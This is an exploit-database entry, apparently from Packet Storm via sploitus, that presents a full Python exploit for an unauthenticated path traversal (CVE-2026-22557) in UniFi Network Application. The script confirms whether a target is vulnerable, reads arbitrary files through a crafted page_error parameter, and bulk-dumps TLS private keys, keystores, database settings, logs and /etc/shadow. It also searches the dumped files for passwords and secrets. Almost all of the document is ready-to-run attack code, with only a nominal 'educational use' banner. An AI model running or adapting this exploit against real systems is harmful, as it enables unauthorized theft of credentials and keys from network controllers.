Share
## https://sploitus.com/exploit?id=PACKETSTORM:223077
==================================================================================================================================
| # Title : UniFi Network 9.0.118 Advanced Unauthenticated Path Traversal |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://ui.com/ |
==================================================================================================================================
[+] Summary : security assessment tool targeting a reported path traversal vulnerability (CVE-2026-22557) in the UniFi Network Application.
It attempts to verify whether a UniFi instance is vulnerable to unauthenticated file disclosure through a specific endpoint.
[+] POC :
#!/usr/bin/env python3
import argparse
import requests
import urllib3
import sys
import json
import re
from urllib.parse import urljoin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class UniFiExploit:
def __init__(self, target: str, site: str = "default", depth: int = 8, verify_ssl: bool = False):
self.target = target.rstrip('/')
self.site = site
self.depth = depth
self.verify_ssl = verify_ssl
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.vuln_endpoint = f"/guest/s/{self.site}/wechat/sign"
self.sensitive_files = {
'system.properties': 'opt/unifi/data/system.properties',
'mongodb.properties': 'opt/unifi/data/mongodb.properties',
'keystore': 'opt/unifi/data/keystore',
'server.log': 'opt/unifi/logs/server.log',
'unifi.log': 'opt/unifi/logs/unifi.log',
'mongod.log': 'opt/unifi/logs/mongod.log',
'ssl_cert': 'opt/unifi/cert/cert.pem',
'ssl_key': 'opt/unifi/cert/key.pem',
'passwd': 'etc/passwd',
'hostname': 'etc/hostname',
'os-release': 'etc/os-release',
}
def read_file(self, file_path: str) -> tuple:
"""
Read a file using Path Traversal
Returns:
(success: bool, content: str, error: str)
"""
traversal = "../" * self.depth
payload = traversal + file_path.lstrip('/')
url = urljoin(self.target, self.vuln_endpoint)
try:
response = self.session.get(
url,
params={'page_error': payload},
verify=self.verify_ssl,
timeout=15
)
if response.status_code == 200:
content = response.text
html_indicators = ['<!DOCTYPE', '<html', '<unifi', '<div', '<body']
if any(indicator.lower() in content[:200].lower() for indicator in html_indicators):
return False, None, "HTML response (file not found or insufficient depth)"
if len(content) > 0:
return True, content, None
else:
return False, None, "File is empty"
elif response.status_code == 404:
return False, None, "File not found (404)"
else:
return False, None, f"HTTP {response.status_code}"
except requests.exceptions.Timeout:
return False, None, "Timeout reached"
except requests.exceptions.ConnectionError as e:
return False, None, f"Connection error: {e}"
except Exception as e:
return False, None, str(e)
def test_vulnerability(self) -> bool:
"""Test whether the target is vulnerable"""
print(f"[*] Testing vulnerability on {self.target} (Site: {self.site})")
success, content, error = self.read_file('opt/unifi/data/system.properties')
if success and content and 'unifi' in content.lower():
print(f"[+] Target is vulnerable! Vulnerability confirmed.")
preview = content[:200].replace('\n', ' ').strip()
print(f"[*] Preview: {preview[:150]}...")
return True
else:
print(f"[-] Target does not appear to be vulnerable: {error}")
return False
def dump_file(self, file_path: str, output_file: str = None):
"""Read a file and save it locally"""
print(f"[*] Attempting to read: {file_path}")
success, content, error = self.read_file(file_path)
if success and content:
if output_file is None:
output_file = file_path.replace('/', '_')
try:
with open(output_file, 'w', encoding='utf-8', errors='ignore') as f:
f.write(content)
print(f"[+] Saved {len(content)} bytes to {output_file}")
return True
except Exception as e:
print(f"[-] Saving error: {e}")
return False
else:
print(f"[-] Read failed: {error}")
return False
def dump_all_sensitive(self, output_dir: str = "unifi_dump"):
"""Read all sensitive files"""
import os
os.makedirs(output_dir, exist_ok=True)
print(f"\n[*] Starting configuration dump to {output_dir}/")
print("-" * 50)
results = {}
for name, path in self.sensitive_files.items():
output_file = os.path.join(output_dir, name)
success = self.dump_file(path, output_file)
results[name] = success
print("\n" + "=" * 50)
print("Dump Summary:")
for name, success in results.items():
status = "โ" if success else "โ"
print(f" {status} {name}")
return results
def search_keywords(self, keywords: list, file_paths: list = None) -> dict:
"""Search for specific keywords within files"""
if file_paths is None:
file_paths = list(self.sensitive_files.values())
results = {}
for file_path in file_paths:
success, content, error = self.read_file(file_path)
if success and content:
found = []
for keyword in keywords:
if keyword.lower() in content.lower():
lines = content.split('\n')
context = []
for i, line in enumerate(lines):
if keyword.lower() in line.lower():
context.append(f" L{i+1}: {line.strip()[:100]}")
found.append({
'keyword': keyword,
'context': context[:3]
})
if found:
results[file_path] = found
return results
def banner():
print("""
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-22557 - UniFi Network Path Traversal Exploit โ
โ Unauthenticated File Read - For Educational Use Only โ
โ by indoushka โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
""")
def main():
banner()
parser = argparse.ArgumentParser(
description="Exploiting Path Traversal vulnerability in UniFi Network Application",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Usage Examples:
%(prog)s https://192.168.1.100:8443 --test
%(prog)s https://192.168.1.100:8443 --read etc/passwd
%(prog)s https://192.168.1.100:8443 --dump-all
%(prog)s https://192.168.1.100:8443 --site hotel --read opt/unifi/data/system.properties
%(prog)s https://192.168.1.100:8443 --search "password,secret,key"
%(prog)s https://192.168.1.100:8443 --depth 12 --read etc/shadow
Important Sensitive Files:
โข opt/unifi/data/system.properties - Main system configurations
โข opt/unifi/data/mongodb.properties - Database connection details
โข opt/unifi/data/keystore - TLS Certificates
โข opt/unifi/logs/server.log - Server logs
โข etc/passwd - System users
โข etc/shadow - Encrypted passwords (requires root)
"""
)
parser.add_argument("target", help="Target URL (e.g., https://192.168.1.100:8443)")
parser.add_argument("--site", default="default", help="UniFi site name (Default: default)")
parser.add_argument("--depth", type=int, default=8, help="Number of ../ repetitions (Default: 8)")
parser.add_argument("--read", "-r", help="Read a specific file")
parser.add_argument("--test", action="store_true", help="Test vulnerability status")
parser.add_argument("--dump-all", action="store_true", help="Dump all sensitive configurations")
parser.add_argument("--search", "-s", help="Search for keywords (comma-separated)")
parser.add_argument("--output-dir", "-o", default="unifi_dump", help="Directory to save dumped files")
parser.add_argument("--insecure", action="store_true", help="Ignore SSL certificate errors")
parser.add_argument("--list-files", action="store_true", help="Show list of available target files")
args = parser.parse_args()
if args.list_files:
print("\nTargetable sensitive files:")
print("-" * 40)
exploit = UniFiExploit(args.target, args.site, args.depth, args.insecure)
for name, path in exploit.sensitive_files.items():
print(f" {name:20} -> {path}")
return
exploit = UniFiExploit(args.target, args.site, args.depth, args.insecure)
print(f"\n[*] Target: {args.target}")
print(f"[*] Site: {args.site}")
print(f"[*] Traversal Depth: {args.depth}")
print()
if args.test:
if exploit.test_vulnerability():
print("\n[!] Target is vulnerable! You can run:")
print(f" python3 {sys.argv[0]} {args.target} --read opt/unifi/data/system.properties")
else:
print("\n[-] Target might not be vulnerable. Try:")
print(f" 1. Increasing depth: --depth 12")
print(f" 2. Changing site name: --site site_name")
print(f" 3. Verifying URL format and port")
return
if args.dump_all:
exploit.dump_all_sensitive(args.output_dir)
return
if args.search:
keywords = [k.strip() for k in args.search.split(',')]
print(f"[*] Searching for: {', '.join(keywords)}")
results = exploit.search_keywords(keywords)
if results:
print("\n[+] Search Results:")
for file_path, found in results.items():
print(f"\n {file_path}:")
for item in found:
print(f" '{item['keyword']}':")
for line in item['context']:
print(f" {line}")
else:
print("[-] No matching results found")
return
if args.read:
exploit.dump_file(args.read)
return
parser.print_help()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Execution stopped by user")
sys.exit(1)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================